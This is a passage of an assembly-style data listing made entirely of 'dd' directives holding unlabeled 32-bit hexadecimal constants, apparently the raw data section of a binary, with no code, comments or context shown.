		dd 98EE86C0h, 0FE95F2D1h, 846006E9h, 415FB6A7h,	5E017801h
		dd 6B05B841h, 775424h, 7690584Bh, 0A0C0C9B2h, 0EE98D360h
		dd 1A9A528Ah, 600E1356h, 0C8446000h, 78005FA1h,	0DBB0F239h
		dd 48FA3EEFh, 8F187540h, 879FB1F8h, 0B774DA07h,	0BAE036BCh
		dd 0F4BB7Dh, 0FC0177FFh, 0DCE58549h, 71E4837Fh,	40DE4500h
		dd 815D2A52h, 65D300F2h, 1534CD30h, 490FA8Ch, 0AEDD2700h
		dd 0BECDAE5h, 8A891835h, 8DED71F9h, 4FF4EB0Eh, 70D08160h
		dd 19E47FB7h, 0A6AE00CEh, 0EC67C1Bh, 0C725968Eh, 8F58609Fh
		dd 4041C714h, 0EEE070D6h, 9F78822Dh, 0A3022807h, 0B6B1E1D1h
		dd 0A4504DB5h, 3E696485h, 0B289167Bh, 2200FC91h, 0DAC92FFAh
		dd 0AC243AF6h, 4200607Eh, 90466144h, 37C601E8h,	0DA51789h
		dd 811EF402h, 0BCBF283Fh, 9290033Eh, 904A44EBh,	12954FDEh
		dd 0ECE4C885h, 820A018Dh, 7B9054C9h, 0CB030C22h, 30DC0663h
		dd 0FC72AA90h, 988FE324h, 98ED2781h, 119EF597h,	3B5740DEh
		dd 95963923h, 97198861h, 0CFD48983h, 2B180976h,	0C206DAAh
		dd 17E1ECE8h, 350040B0h, 46E766E5h, 0B6C4F63h, 0E28ADF28h
		dd 0E0122841h, 0FA030F82h, 0CED2F24Ch, 9F84B06Dh, 60BD3FE3h
		dd 6EA4983h, 0B0BFF0AAh, 74E1ADDFh, 0C822610Ch,	1DA33183h
		dd 584966ACh, 477E10CDh, 9F61DE10h, 90C12000h, 0FFDFA4F1h
		dd 0F63A1700h, 532CCB8Ch, 0CD1E0FBAh, 87A0488Bh, 491F123Eh
		dd 49C75537h, 3AC40A70h, 0ABC906EEh, 187547CEh,	0C73022EAh
		dd 53CD81D5h, 819C071h,	8A39C5ECh, 0BB776C18h, 0C0761449h
		dd 81524D3Eh, 0C2001B0Ah, 0A0AC3C38h, 3FAE7AA6h, 7C006FD5h
		dd 3614396Ah, 0F900FA16h, 0FC701D35h, 0E50A9C83h, 9733ECh
		dd 0D376C5D4h, 0F98DA78Bh, 4BE7E06h, 71908449h,	7499C0EBh
		dd 68C25232h, 0FE78D900h, 0C0F66F9Eh, 724E30F4h, 85C89738h
		dd 54619616h, 0F80F8707h, 69E5BB20h, 1E1D0104h,	0F4CF6A65h
		dd 0B4802B82h, 1F07D5EFh, 0DC8F22A7h, 5C8A0024h, 83F5A96Fh
		dd 127A2500h, 19E523A6h, 0FBA300E1h, 0C65CE3DFh, 8B008F1Eh
		dd 0B3957876h, 6031D792h, 23607107h, 6700B6B0h,	17B13214h
		dd 370B56h, 39FDE39Ah, 0E277A2D6h, 0FF045D1Eh, 5174A380h
		dd 1BB8709Bh, 10A084ECh, 0DBB864E3h, 13186339h,	46F8B94Ch
		dd 0A6CB06C9h, 710A31EDh, 253B5C07h, 3090F07Bh,	0E649727h
		dd 9B28D7DEh, 1D263880h, 7100900Dh, 1F8FD885h, 0C016B5h
		dd 82FE5499h, 5A915E47h, 45537C01h, 0FB876C33h,	8F45807Bh
		dd 0C300562Dh, 0D547B8B9h, 0F637F8EFh, 59BB00F4h, 4D9FC8A9h
		dd 7A00EAB2h, 0D50D1383h, 0C30CA51Ch, 23EED309h, 426D1007h
		dd 459037B3h, 37EDEA7h,	0C052061Ch, 7AD8A878h, 100CF45Eh
		dd 2950CF74h, 0C5DD45FBh, 10EE12BAh, 6F886522h,	147088CBh
		dd 5DFD7941h, 1F88DF00h, 27458A00h, 5426AABFh, 0EB4E0744h
		dd 705F4CF0h, 377EEC11h, 0B304D9F6h, 46FADDC3h,	13F348F0h
		dd 521CFCh, 705A7B5Ah, 800D3C4h, 0E23F5E82h, 60581ECBh
		dd 6BB7F0A6h, 0D9005DFEh, 0AA4DEBAFh, 0E2E923DCh, 6D7C05h
		dd 0A0423D63h, 4506FA04h, 0C7C50C01h, 0C64732B3h, 17CDE140h
		dd 776CC7F5h, 3480B96Fh, 0DBD7C7ADh, 8B4F5E07h,	0C170C9E9h
		dd 34E3FBh, 0ED4830FCh,	31B66A97h, 361D3D00h, 0C4877A0Ah
		dd 0FAE60129h, 1C85094Ah, 0B8508007h, 38FD6184h, 76D00713h
		dd 5074EE28h, 0A4C76AF3h, 703BCF00h, 8E879799h,	0B80E00A9h
		dd 0A378FBAAh, 53F64318h, 1E060500h, 45B71CD4h,	8BCE0057h
		dd 4901C1BDh, 0FE1E3BE3h, 9B1F3103h, 9ED24C80h,	0F92823h
		dd 9C20DE46h, 0B67E4727h, 0D37B9A01h, 0D02215BAh, 735833D4h
		dd 0B1B00DBh, 0EB72A978h, 0C81EBD02h, 86C56C50h, 8987CD19h
		dd 5DE823A0h, 5CA10076h, 468DFAA8h, 0F400BA35h,	7C500A44h
		dd 8A4B19h, 0D7E42E5Ah,	916AF2FDh, 7442CD00h, 0EE77C429h
		dd 8E590078h, 9FB8A6DEh, 110033E6h, 515D4A5h, 0D3BA82h
		dd 0FD3DB502h, 0D81065C8h, 9A30A000h, 70B70FADh, 480900EDh
		dd 0B5A4F21Eh, 5D009BB2h, 0DA300329h, 505F0E44h, 589419h
		dd 1F6A48E7h, 16C80DC9h, 6DF22F00h, 9FD610CAh, 0B67000FEh
		dd 0B4B70706h, 970FF423h, 322894h, 5D4EE47Bh, 6F05007Ah
		dd 0F612656Ch, 2007334h, 1E07BF95h, 15AFFE6Ah, 0F89CE120h
		dd 0ED452500h, 0E544F99h, 95641C00h, 7CB8336Dh,	623F245Ch
		dd 9F2F03E8h, 81FBD77Fh, 5F781CD0h, 0B6A08700h,	0CD151859h
		dd 0D9A900E4h, 0E771AC7Ch, 7D02D117h, 4DA83113h, 13143BBh
		dd 0EAFAAE20h, 83E5075Eh, 3133F410h, 288AC8A4h,	84640EF6h
		dd 4780BB5Ch, 57B482B6h, 930BC1Fh, 6BBD07FCh, 3991BF77h
		dd 4EE80EA2h, 0C10200B0h, 87D1D355h, 0DC131B3Ah, 0BB002441h
		dd 539E62DDh, 0A6F00165h, 6D64EC6Bh, 789AD88Eh,	0CAB160F3h
		dd 0FE2E4300h, 0EED67B2h, 0CB8B00A3h, 6A1BDFC9h, 0C70AA569h
		dd 0D01CD889h, 79382800h, 2619AFBAh, 0F2A9981h,	5EC0FC62h
		dd 0BC8FF6C7h, 164FA603h, 8A4A2468h, 64A66048h,	13E267h
		dd 0B42A0D9Eh, 0E2151D3Eh, 71264514h, 0B36F04D0h, 3F436B67h
		dd 34B198C5h, 2906D825h, 4C3EEE90h, 0F50A00AEh,	0F36E2877h
		dd 9B430250h, 4F92DC86h, 337B9DC0h, 0DDF1744Fh,	17497220h
		dd 1C509061h, 0C0F3DC48h, 0B662D458h, 4F003102h, 8B7CD3C6h
		dd 261A97D2h, 806CF0CBh, 0A1D8A312h, 0B0191A6h,	686684ACh
		dd 0A070A22Ch, 0A492055Dh, 802B24EDh, 7C18C7F2h, 0E29C0500h
		dd 7863885Eh, 0FB8E13B5h, 46F040D4h, 17FE5C97h,	89BB3C00h
		dd 92B6523Eh, 96E00D1h,	0E9A8F69Ah, 0BD010EBAh,	639D1F68h
		dd 0BEE4F0C9h, 0A16101A9h, 80C3079Ch, 99F3C308h, 460B8D8h
		dd 18261700h, 2C10F6D8h, 94E900B5h, 65D6ECBh, 14006DA2h
		dd 96D56945h, 72484376h, 34461F3Ch, 0DFF980E1h,	2820EDC6h
		dd 19889201h, 0C9D48D62h, 186570E0h, 0C0DC4CE0h, 1601EE49h
		dd 73AD7E59h, 0ECC45C24h, 45FA0099h, 9077CB7Ch,	1E01C572h
		dd 0E561581Dh, 29F81F5Fh, 0D1350707h, 60093F79h, 0B7379FD2h
		dd 2BB6EC00h, 96BA0D94h, 0E50403CBh, 0C53DA339h, 9246B0C0h
		dd 28C88000h, 0B17DCD90h
		dd 0DEA004Fh, 2B44E961h, 93000BE2h, 58D08F5Eh, 724FB0ECh
		dd 4CB405B9h, 80D2F0FBh, 750EC1FAh, 793CF400h, 53DB7199h
		dd 9DE902FFh, 42C8D7Ah,	9B94D068h, 0B70035ECh, 8195C9FCh
		dd 69ADEAh, 0C9322F6h, 6CF33625h, 1FA2D5Ch, 5133D15Eh
		dd 38E0852Bh, 998F0018h, 0B89A3995h, 72F4B71Dh,	1F63Dh
		dd 74D9C3FBh, 506B120Eh, 9FCCAFh, 0FFA07A9Ah, 22874E23h
		dd 0E7D7061Dh, 0A6C4AD41h, 0F2EF30ABh, 8E4A01Eh, 0AED070h
		dd 90CFA382h, 0B24681FDh, 5C262B71h, 0EA0060AAh, 6BB08036h
		dd 6CEE0011h, 0A6820488h, 0D4004CC0h, 0B5B74855h, 3C7E07Dh
		dd 0DC1C0CEEh, 0BCB8D7CCh, 0FC030F59h, 924E4881h, 2D9AE110h
		dd 44DFC8h, 39A82FC7h, 261E51BCh, 6D0F0D00h, 0D4DD40B0h
		dd 523F00DAh, 15B3EFA4h, 0BB3BBFC2h, 0A708084h,	5AA57859h
		dd 0B44B00B7h, 787E912h, 7360AF1Dh, 0D298D850h,	154D0077h
		dd 0DC905808h, 4500E54Fh, 13596144h, 520A0Eh, 501B5EF4h
		dd 0DBE973F2h, 335383Ch, 7F5F65C7h, 8D3ECBA9h, 87B8A4D0h
		dd 7E8A39E8h, 91ECE0D5h, 302B020Dh, 12C9C077h, 976624C0h
		dd 807A543Fh, 0F988B4F7h, 1449B96h, 0E519BDADh,	0E4824C4Fh
		dd 0FC501601h, 0F7009FE4h, 6F0E733Dh, 0B8AC72F2h, 58760E44h
		dd 0D4F40D34h, 1FDF3800h, 3DE25EF8h, 0F51291EEh, 0B8003683h
		dd 0CD706E05h, 7E7630h,	495C0F17h, 8A8547B7h, 0AF2ADA00h
		dd 0D4A8AC68h, 0F487F0A3h, 0D3970F33h, 6E40E874h, 55A17A7Ch
		dd 250007EEh, 769A102Dh, 8E2726h, 0C385FF1Ah, 0AC8220C8h
		dd 63528300h, 53B265AEh, 1F0A0F2Ah, 0D7E0C32Eh,	309BE9B3h
		dd 0E4AA7B00h, 4992807Ah, 3247098h, 9A135223h, 58C86C46h
		dd 1E00390Dh, 7C1AC6B9h, 2894C1C3h, 0D44007h, 442C7625h
		dd 6EF70E5Dh, 0EE3FCCFEh, 0DEE18037h, 33F6F0CAh, 1D440018h
		dd 57740CA5h, 5500D8D0h, 35FA737Eh, 2D9DF625h, 0C1C0403Ah
		dd 4F07BBE2h, 65CAF30Ch, 76EA0E50h, 77E7002Eh, 0C28D8CA4h
		dd 4100F7B6h, 84D4C048h, 265E81ECh, 23B13EFh, 3BC17D27h
		dd 8A1EB880h, 0EB05D986h, 83A8E7BFh, 0A372A840h, 806FFD05h
		dd 0E80FBBF2h, 0A093B1C8h, 0CD3BCC61h, 31FC00B9h, 0D5A6B3D4h
		dd 8D030708h, 30EC9098h, 54A7F110h, 77D4D0h, 4D23263Dh
		dd 46FA4749h, 0ADAAAC00h, 8017C9F9h, 52BB00D6h,	4C56027Fh
		dd 6581169h, 8DDC05EFh,	0A4D0A04Eh, 58E9D658h, 0F50CC6Bh
		dd 15C23E12h, 821E3C00h, 0F7F8C713h, 467F722Eh,	7427C00h
		dd 0BF5786h, 0BEC54B03h, 71E563D8h, 848D6024h, 14B8DA80h
		dd 3B60959h, 0C07DC84Ch, 51B0BA5Eh, 0B92EB530h,	0AE00FC67h
		dd 0A6F79D46h, 0F56B0011h, 0E4FB6220h, 0CB4C2C6Dh, 36C700B9h
		dd 0D14112A3h, 0F6D98A5h, 5A0C44D4h, 5660C012h,	991E8CEBh
		dd 0E7C77818h, 58B53AD3h, 415C1003h, 289900ABh,	27D03101h
		dd 0C4133061h, 0C00FD1F8h, 0F5007F26h, 69423AA3h, 0D0D200CFh
		dd 7204849Dh, 0DC00642Ch, 0D1DF3F3Ch, 0CF6E3Ah,	97A6A0C3h
		dd 8CD85638h, 8F60547Ch, 3121D470h, 77C0008Bh, 19BC171Fh
		dd 4C00DE40h, 775229Dh,	141A2E1Eh, 583191D1h, 1C8CD9A1h
		dd 27C78025h, 0D7577E14h, 5E0E1410h, 9052001Ch,	82F3F031h
		dd 7A1607B5h, 406ADF01h, 1C56374Ch, 1DA8790Eh, 486EA193h
		dd 1FED1244h, 81E0F0h, 0C3F3460Dh, 45C1277Dh, 31679900h
		dd 7887B5B3h, 0F82100B7h, 6A135AFAh, 34149610h,	2D36F79h
		dd 0F5824DA4h, 0D3CA60D1h, 4191C04Eh, 0AC4CE6D9h, 9AAA261Fh
		dd 8B08D240h, 18D85525h, 2889F3C2h, 0CE00A7D5h,	0A43FE642h
		dd 0D3AD71h, 75A04120h,	51083B79h, 0D10F8C98h, 786ECC9Dh
		dd 0C0D2D460h, 2ED7E869h, 5F01816Ch, 0F39A7225h, 904002E9h
		dd 69E107Ch, 0D161B4A6h, 0F200711Ah, 1DF668DAh,	134E420Eh
		dd 0AEEDB60h, 83AC8F42h, 7C435207h, 27CD201Dh, 0CBECFE82h
		dd 0DC8100A6h, 541FD213h, 0C58E7AFBh, 442FE027h, 5BF56Fh
		dd 8AC63BEBh, 0D8B06CFh, 70576703h, 79BE44F9h, 0AFEB0061h
		dd 0A93ED92Ah, 240027BDh, 0F18E9FA6h, 74A54555h, 0B11F6161h
		dd 74180DCBh, 790056E4h, 93D2BF5Bh, 1F8C0665h, 8137F4h
		dd 2A86DE3h, 0D01BC9Eh,	2BCBDBD5h, 38BA798Bh, 0D6E49500h
		dd 0DC755DFFh, 6201DE74h, 0C6BC96C7h, 0B661CA91h, 55E0E0h
		dd 0BB872054h, 0B798DC6Ah, 0DBBC6000h, 23B6A774h, 0B2A3035Fh
		dd 771650E0h, 9AB02910h, 2CDCEF03h, 12900D37h, 751E131Eh
		dd 465C91F9h, 5FFF003Bh, 0ED9ED6E0h, 0AA28035Dh, 483D18CEh
		dd 53E8F8C0h, 9FEFB00h,	61E6E1F0h, 45800FAh, 84F5CC30h
		dd 0BB1285ADh, 0BF00AA3Dh, 0BAE3B278h, 0FFF70088h, 5B7FFDB8h
		dd 0AF0F0955h, 6084E42Dh, 7D66C469h, 9ADD00A8h,	98B62710h
		dd 2B002F94h, 0A0A36EBEh, 1402FB34h, 0AC5D310Bh, 78E1CB00h
		dd 558997F5h, 0B61BCC00h, 10C7917Dh, 314C3820h,	0A0DC0914h
		dd 48FE0179h, 2D993FDBh, 0F9A7E8CDh, 5251011Eh,	83477500h
		dd 431A9D4h, 2F05F1Bh, 76CD80A1h, 0F8006846h, 0E3B0C612h
		dd 8D9491h, 0CBCF4ED8h,	152EA6D4h, 37AC7900h, 6FADA3BBh
		dd 936E00C5h, 2A4FB664h, 0DD00C0DEh, 82450E6h, 556C38h
		dd 4C9E2EB9h, 63F6E93h,	0F4F19C00h, 0FFB33B51h,	0A71200C8h
		dd 1CF0C70Ah, 0B800AFADh, 33E072BFh, 0C24024h, 10035FD8h
		dd 83179C36h, 0E4648800h, 0DE5A4B5Bh, 0CBF32C33h, 0AD740761h
		dd 27E6518Bh, 0F28440DDh, 3A17C8D0h, 7002B79h, 7E7519AFh
		dd 577A0034h, 3BB3DB71h, 0E9000AD2h, 0CAA8EC59h, 0F1445114h
		dd 877E4E83h, 67EF0DFAh, 0A5A640E2h, 0CC162FFCh, 4F0080F1h
		dd 2B49617Dh, 96DB4CA3h, 0D7ABDD03h, 30F034B9h,	0A9005E70h
		dd 2D368C92h, 399BBF44h, 580BEAAh, 5FF53F51h, 76005C53h
		dd 162FA56h, 336D22h, 968378CEh, 85BB5B6Fh, 6CC5EC00h
		dd 28EC6EEh, 0B6542416h, 0CF3901EBh, 0C90B85E8h, 0E29C205Ah
		dd 0E400677Bh, 86187112h, 7C8EB5h, 6F2B77AAh, 0CF650C46h
		dd 0B0845103h, 0BDC6E550h, 3FC37D80h, 88110091h, 0AE0B760Dh
		dd 627BC7ECh, 6F06B600h, 1BAD97F9h, 447F7Dh, 68509336h
		dd 0B624FEC6h, 0BDD7671Ch, 1F8EACC0h, 344AA60h,	0C6015AD5h
		dd 0F1A813FCh, 0C31E1E4Ch, 33405F69h, 0DDA760CDh, 0EDA406B9h
		dd 30DB91C4h, 89C77E03h, 0F8B114B3h, 3D50316Ah,	6D03062Dh
		dd 0DCE98FDFh, 5DE05EF0h, 0EBD45Ch, 0B2A6D643h,	799A0Eh
		dd 0E433BB49h, 5218F881h, 347AD700h, 32CEFE13h,	0CAEE07B1h
		dd 40533C22h, 5B1B1D7Bh, 4A72700h, 70AA5FBBh, 15D0299h
		dd 7BF4EBCBh, 36DD8740h, 61F58D13h, 0B73C4404h,	5C115080h
		dd 97FC0E01h, 4BE0E671h, 6FDD81A7h, 5F22AF1Ch, 7EE27380h
		dd 7FE9158h, 2D5FF5Bh, 2FAF114Dh, 0FD16D468h, 125A0F38h
		dd 0B040D1DEh, 0E74A712Dh, 6B1D0E3Eh, 0A7E060FBh, 3B928B5Ah
		dd 0C9BF7501h, 5E4543D4h, 0D04BF843h, 0C34DACh,	0C25B1106h
		dd 7C8AA551h, 3D122200h, 7A105F97h, 0F2AD00FEh,	0EBB7199Ch
		dd 0A648C892h, 38487Bh,	8A62F4FDh, 782D4DDh, 3D22416Eh
		dd 0F888605Ch, 7EB0A598h, 4FDCBE00h, 72B764C9h,	102F0068h
		dd 0F090098Dh, 0FB002A6Dh, 4DE97DCAh, 282817E6h, 98A2C5h
		dd 378D1D60h, 0D8C13C2Ah, 0B6DA8A00h, 810573ECh, 9F500095h
		dd 8B8B5A0h, 412C481Fh,	0D9D3E6Dh, 0E08589CCh, 0E06400C4h
		dd 23ADE659h, 0C80310AAh
		dd 747F3414h, 5489F0ABh, 0A7F10F4Ch, 452108EEh,	0FC84EDBAh
		dd 0F500C940h, 569E97BDh, 6344E8C5h, 2CB5F87Dh,	23E8B89Bh
		dd 66003EC0h, 5BAB384Ah, 0EE9CFE14h, 0BAF1234h,	0EC40035h
		dd 198E1A71h, 0DE86E00h, 0A8788D9h, 0C44224B3h,	65BE0948h
		dd 0DC470890h, 75A81980h, 78924Eh, 0B057458Bh, 0E2D533ACh
		dd 80EB403h, 0F84EFF18h, 75F48Ah, 8C787AC3h, 844460AEh
		dd 61C13200h, 0B129AD5Fh, 941F48FDh, 291E24h, 0CA704686h
		dd 0FE0DD34h, 0C807D570h, 0C5C32BE7h, 0E19180AEh, 30D1348h
		dd 52451916h, 860AE7Bh,	0D370FF70h, 6AFA0088h, 5041C4AFh
		dd 63785F93h, 0E401D8B8h, 69A7FD74h, 35F0DAACh,	19713956h
		dd 77A15900h, 93E5D420h, 0B1C12400h, 23BB4B65h,	7FE60074h
		dd 42728F83h, 490D2E0h,	4BD55D00h, 69D4D366h, 0B48800BBh
		dd 0A971CB45h, 750F4D11h, 0C0EA53E9h, 5C5459FDh, 95070F4Ch
		dd 9CC0A5E0h, 133DBAAEh, 5F0D3A00h, 375B2156h, 2CF009A6h
		dd 98A074E3h, 4DF33C41h, 905048h, 0E9B99E5Ch, 0C85D8E12h
		dd 8A08F610h, 1E69EBBh,	0B0E71A8Ch, 0AE66C0AFh,	0ECEA0E1Eh
		dd 4AA97403h, 0E0C581CEh, 0A2C0A7E1h, 3CDA359h,	0ACBE62D0h
		dd 0E100CA27h, 0B0ABAD0Bh, 30DC5C93h, 0FB610405h, 0E0283CB6h
		dd 441D1CCDh, 320341Ch,	1303B736h, 0AFA0CFB3h, 60592BB0h
		dd 0B9C739E4h, 0EE36801Eh, 441605B9h, 616438A5h, 69075B80h
		dd 1F956CA4h, 0D8B66A00h, 5B87DA1h, 552601C9h, 707E4FC1h
		dd 0A445E0A9h, 7469C09Fh, 9EBE00EDh, 0BDB3B57Ah, 4B007092h
		dd 21D8405Dh, 258E8Ch, 0ABE68B02h, 62F0F2CDh, 63048700h
		dd 234788C3h, 0B9180334h, 0D967B757h, 7B0EC0FFh, 5027CA3Ch
		dd 4D5ED6h, 0AF8553ADh,	6717EA6Fh, 410E1370h, 697C000Ah
		dd 39FB5548h, 453617Fh,	1841A8BEh, 107E5069h, 0EA004081h
		dd 70A4EE56h, 734A2DCEh, 7550672h, 199303E4h, 3542767Eh
		dd 6718EF22h, 734888EAh, 606361FAh, 0A0B3E746h,	11003C21h
		dd 5E870515h, 1E5F845Ah, 8137E9E6h, 5234FAE5h, 7618802Bh
		dd 85F927CCh, 784FF84Ch, 9EE11E0Ah, 83063AA8h, 50AB8169h
		dd 8B3BE70Eh, 3F1CF64h,	909E8A08h, 0EE06FDA1h, 0E240A0E4h
		dd 4BDE0079h, 2D37552Ch, 7F3DF64Eh, 3F07860Ch, 0C8AC47Ch
		dd 8FFBE70Fh, 0DE4F3C8h, 8063E083h, 81710326h, 70D8555Fh
		dd 84C78DD8h, 0AF04C15h, 0F1BC1B74h, 9D50A8F8h,	62BF800Fh
		dd 4576880Ch, 727E4080h, 0FA0F8F1h, 3A2F21A1h, 858C0960h
		dd 71F93EE4h, 907AFCB1h, 0AEEB6301h, 0F7518B42h, 12FC99F1h
		dd 84EC0F94h, 812AC713h, 0C602BCACh, 0F6514846h, 684EF0A0h
		dd 8205BA43h, 731AD60Ah, 88D9FC20h, 0CA513083h,	17322EC0h
		dd 200C81CEh, 0FC700753h, 0A0B5F879h, 5428298h,	6184B688h
		dd 0D24611Fh, 883B08CBh, 8654B03Ch, 0BB7B4790h,	5F2E3F00h
		dd 0C0E8BCF1h, 5007007Fh, 0F64D57FEh, 7C3AD558h, 3CCD018Eh
		dd 47F3052Eh, 140C0420h, 0FC87E1D4h, 54573E07h,	0F9584348h
		dd 94676C0h, 0BB118406h, 7B8F635h, 9EA870BFh, 5EA3C50Fh
		dd 885869B0h, 3A90CCD5h, 9081BA84h, 73BB2C84h, 2A181548h
		dd 74A0802Eh, 1A80E8ABh, 0EAA015B6h, 1909BC7Ah,	6B0C6AD0h
		dd 0CC1B4F48h, 0B8B09F8Dh, 3F520E7h, 0BD61525Ah, 0C0D7B246h
		dd 0F87D0524h, 58845924h, 6BCFE600h, 4C07B81h, 7EFBE961h
		dd 80288814h, 5D62D8E0h, 4462FF18h, 8AAC2A74h, 4290A1B0h
		dd 0FD11F45Bh, 8BF503CBh, 9C2D866h, 747E9C48h, 3E1EEC10h
		dd 0FDF7F401h, 7BF067CDh, 0A0FCE0A2h, 382E16ECh, 0F4858D6Ch
		dd 610A5ED5h, 0CCC0934h, 907403E3h, 0B6731740h,	0CCFB7024h
		dd 7A0AB080h, 5411FA1Dh, 3A46C06Ch, 0FF7C52h, 0A80AF54Bh
		dd 0C6F72FEh, 637B5F01h, 86DD82D2h, 6536C24h, 67FF040Bh
		dd 7E005847h, 0A9D1E45h, 3D119327h, 9C28F682h, 0B7FE88h
		dd 80175978h, 0E30C4ED2h, 0D4855CA2h, 0E8805073h, 887CE480h
		dd 5D14E26Fh, 9FC4BC09h, 8C879A00h, 7A8F7C33h, 8665003Ch
		dd 8AC240Ch, 76015541h,	4E839947h, 0B8B80AE5h, 774FEA8Fh
		dd 0FF706D2Ch, 0AB696502h, 81A703h, 8E4F92E1h, 51C58D12h
		dd 0FEFF4000h, 36FAF021h, 48A8C00Fh, 0A81AED40h, 1988E5A4h
		dd 2822F392h, 1D6708C3h, 41D0E8D2h, 3AAFEF1h, 9A34411Bh
		dd 0EA8080E0h, 0C9ADB104h, 252D0055h, 87ACF32Ah, 290F7EDAh
		dd 9745F0h, 6BE98E82h, 0AAFAA8h, 934671A1h, 5472B594h
		dd 5150EF05h, 20003322h, 0EE5CDAA3h, 0DD490035h, 8034C9A1h
		dd 0AE00AB4Ch, 0DAC2934Eh, 0B42ED7h, 2C823592h,	0CE756014h
		dd 0B63A9400h, 0F037DB6Dh, 57CD00ABh, 0F2A08A2h, 0A801281Eh
		dd 43407CFBh, 3080766Fh, 5ED86896h, 1BF87EE7h, 0E24DBC1Fh
		dd 0AEB84500h, 3523DBBh, 5D919A3Ah, 17AB4610h, 253BCFE8h
		dd 0F8C72E30h, 2ABC8FA6h, 2843173h, 870F2C2Bh, 19407401h
		dd 0B000ABCBh, 0B39BCCA2h, 2BBCA3h, 4CAE393Ah, 0C2B72D4Dh
		dd 318A5807h, 813F3511h, 8E17F2CEh, 0E8D11E31h,	1B7B058h
		dd 29D59DB5h, 42FF3E9Fh, 1800B2B8h, 17EB45h, 15FDD4DEh
		dd 2CFE4F83h, 0B8A82B61h, 33EC4203h, 561F20A0h,	0ABC3539h
		dd 0B06F8ED2h, 0AD05E204h, 8D7DD581h, 0FB3DD0CCh, 462D4182h
		dd 7560D9CEh, 9400CFCCh, 0BE8587C2h, 13D596B4h,	1F44386Ch
		dd 54470701h, 574581BDh, 0BC2CEC18h, 1C0B1902h,	87FFE4D8h
		dd 0C7817C8Ch, 94509C88h, 0FC45EB37h, 1D800DB7h, 329E328h
		dd 0FCD164B8h, 98309114h, 0DCE08900h, 4222064Dh, 2926DA03h
		dd 80DD053Eh, 3AE55C0Bh, 0D83A15BAh, 6E3D0400h,	0EFF1CA66h
		dd 58C1AB00h, 0D34B8A2h, 30800F38h, 96C794A0h, 406047D9h
		dd 0C42730Bh, 9E6FE101h, 0EF580EEh, 8C33F4h, 2D07047Ah
		dd 8DE12B14h, 0FCC2A12Ah, 187E6104h, 6880563Bh,	12FD5446h
		dd 4063AEB5h, 30C66224h, 3200C744h, 19439CB8h, 0A4B10826h
		dd 0EE2F06D4h, 3045F2A0h, 2234D048h, 54FA1D28h,	12C82A51h
		dd 1F2FE860h, 6868248Ch, 5B1224h, 0A38612A0h, 50034729h
		dd 0FD42BB15h, 9520036Dh, 5B12FACh, 6BC1BC97h, 1E1828C8h
		dd 0A3092169h, 97C821B2h, 0B4ED3DD5h, 0D7C46980h, 0FBA7D4DFh
		dd 0DAA86C0Dh, 2CEE20B8h, 0BA11D050h, 99661142h, 1B22292Fh
		dd 0C81EF0FFh, 419CE40h, 0FC243519h, 0AD5600E2h, 75D31A2Fh
		dd 20087A9h, 93476FA1h,	908CB459h, 45200240h, 442F6D8Dh
		dd 0B85B8890h, 0DC46E200h, 50481A25h, 3EA200EEh, 0A74092F9h
		dd 982415D5h, 0A900A030h, 0B45D309h, 0BF541364h, 0C4C4126h
		dd 0FE294310h, 0D42A3441h, 0A1908298h, 0C8F6ACA9h, 77904BFEh
		dd 68F08026h, 0A59A7040h, 48BC1585h, 8000BCEEh,	0F4A604E8h
		dd 0D7F2FB32h, 6890C870h, 776C6501h, 0DB523C2Dh, 2482A054h
		dd 0A8EF218Bh, 93242467h, 4565860Bh, 30FF094Eh,	4A8068h
		dd 8D865EDBh, 6EABB1C1h, 504878D2h, 0FDCC80C4h,	57BF84F3h
		dd 214C43F1h, 43AEB91Ch, 981A8E6h, 3D1173B6h, 59C1E0C7h
		dd 0CFBD14A2h, 61645CD8h, 443FC055h, 0AC5C6F4Dh, 30AB010Ch
		dd 0D249E9C2h, 0ED60C024h, 43E8192h, 80B1AB18h,	547DC0F0h
		dd 16D889C0h, 1501CC45h, 6CBB4080h, 0FBDE3206h,	0D53971A6h
		dd 0BBC301A3h, 5894E8B1h, 3002463h, 40353D10h, 1803014Eh
		dd 59B6BE0Ah, 180847FAh, 157482C0h, 0C2007AB8h,	0A8B3EE9Dh
		dd 12C6F358h, 27E85909h
		dd 0D27B80C8h, 0BB004137h, 94E4C31Dh, 2911D5h, 83B718C4h
		dd 0BD75868Fh, 23F2CB0Eh, 474D490h, 7A32F320h, 2A12A8C7h
		dd 2540803Ch, 7819D009h, 0D9BD0383h, 0DD622BF2h, 87553901h
		dd 7F17CBC2h, 15E88C51h, 0D1DEC980h, 98286DD9h,	0A9C030E8h
		dd 0CBC843B8h, 4542023Ah, 33A17CFDh, 2343048h, 0A5F9F002h
		dd 6340CFE0h, 3087E530h, 0C7C1A250h, 0C15188Dh,	48D2F0C8h
		dd 80C06C54h, 81057379h, 1DA93BFCh, 0BBC82893h,	5946F929h
		dd 916C60h, 0C6BCADD8h,	98A770E9h, 85480D58h, 0A44144E6h
		dd 30E10B9Eh, 32053882h, 0B80096B7h, 0F3FD294h,	313C2C68h
		dd 14D066EAh, 71C80887h, 910F68C0h, 0F94324D2h,	0E6003EA1h
		dd 15700565h, 8D008092h, 0B1DF8BBDh, 155F959Fh,	202BBE18h
		dd 0F581Fh, 0C44519D8h,	3B5C737Fh, 0C1EF0B1Ch, 421C0099h
		dd 9062082h, 6E076D41h,	0D8550D06h, 0E1FC0135h,	60A02B80h
		dd 6910C054h, 0C6B830AFh, 2A90FC99h, 547F6B1h, 1E5F2098h
		dd 85944385h, 226E42D2h, 0E88535C0h, 91D80E01h,	0D04015A5h
		dd 0D8941E14h, 0CBD3F505h, 88C7B7B8h, 0C7DC07C9h, 7F423690h
		dd 299E20DDh, 2A279F1Eh, 907183BBh, 0D82C91D7h,	75C1F051h
		dd 5A17495h, 2B3AD443h,	0D2E88133h, 0C7F184FEh,	41E320Fh
		dd 0D2CA5F20h, 0D061993Ah, 3E388EBCh, 0ADEE4045h, 2594E3Fh
		dd 0E09D0BB8h, 891464Ah, 4C201840h, 247C288Ch, 0CAE32h
		dd 3EC8B570h, 117B9558h, 0FF286E14h, 4F7DE044h,	0A8D4B385h
		dd 67FD0070h, 36D7AB69h, 5005576h, 0E1BF28A4h, 32CB3170h
		dd 0B384DFEh, 1206F010h, 20155ECDh, 0DF4811FCh,	75FDEF15h
		dd 0B07301D0h, 81CD15B7h, 0AE14C823h, 2502A086h, 0B52B9442h
		dd 5B67CC99h, 0C7C012B0h, 40AA457h, 4486A48Fh, 380433h
		dd 0D2A1FB99h, 45758089h, 39342C05h, 832ADA6h, 67E63093h
